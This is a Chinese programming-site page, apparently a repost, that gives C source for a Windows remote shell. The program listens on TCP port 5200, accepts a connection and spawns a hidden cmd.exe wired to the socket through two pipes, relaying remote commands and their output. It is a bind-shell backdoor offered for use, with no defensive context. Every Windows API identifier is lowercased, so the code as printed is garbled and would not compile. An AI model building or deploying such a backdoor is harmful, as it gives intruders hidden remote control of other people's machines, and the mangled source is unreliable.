欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  科技

简单远程双管道cmd

程序员文章站 2022-06-11 09:16:04
简单远程双管道cmd...
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

int main()
{
wsadata ws;
socket listenfd;
char buff[1024];
int ret;

//初始化wsa
wsastartup(makeword(2,2),&ws);

//建立socket
listenfd=socket(af_inet,sock_stream,ipproto_tcp);

//监听本机5200端口
struct sockaddr_in server;
server.sin_family=af_inet;
server.sin_port=htons(5200);
server.sin_addr.s_addr=addr_any;
ret=bind(listenfd,(sockaddr *)&server,sizeof(server));
ret=listen(listenfd,2);

//如果客户请求5200端口,接受连接
int iaddrsize=sizeof(server);
socket clientfd=accept(listenfd,(sockaddr *)&server,&iaddrsize);

security_attributes pipeattr1,pipeattr2;
handle hreadpipe1,hwritepipe1,hreadpipe2,hwritepipe2;

//建立匿名管道1
pipeattr1.nlength=12;
pipeattr1.lpsecuritydescriptor=0;
pipeattr1.binherithandle=true;
createpipe(&hreadpipe1,&hwritepipe1,&pipeattr1,0);

//建立匿名管道2
pipeattr2.nlength=12;
pipeattr2.lpsecuritydescriptor=0;
pipeattr2.binherithandle=true;
createpipe(&hreadpipe2,&hwritepipe2,&pipeattr2,0);

startupinfo si;
zeromemory(&si,sizeof(si));
si.dwflags=startf_useshowwindow | startf_usestdhandles;
si.wshowwindow=sw_hide;
si.hstdinput=hreadpipe2;
si.hstdoutput=si.hstderror=hwritepipe1;
char cmdline[]="cmd.exe";
process_information processinformation;
//建立进程
ret=createprocess(null,cmdline,null,null,1,0,null,null,&si,&processinformation);

unsigned long lbytesread;
while (1)
{
//检查管道1,即cmd进程是否有输出
ret=peeknamedpipe(hreadpipe1,buff,1024,&lbytesread,0,0);
if (lbytesread)
{
//管道1有输出,输出结果发给远程客户机
ret=readfile(hreadpipe1,buff,lbytesread,&lbytesread,0);
if (!ret) break;
ret=send(clientfd,buff,lbytesread,0);
if (ret<=0) break;
}
else
{
//否则,接受远程客户机命令
lbytesread=recv(clientfd,buff,1024,0);
if (lbytesread<=0) break;
//将命令写入管道2,即传给cmd进程
ret=writefile(hwritepipe2,buff,lbytesread,&lbytesread,0);
if (!ret) break;
}
}
return 0;
}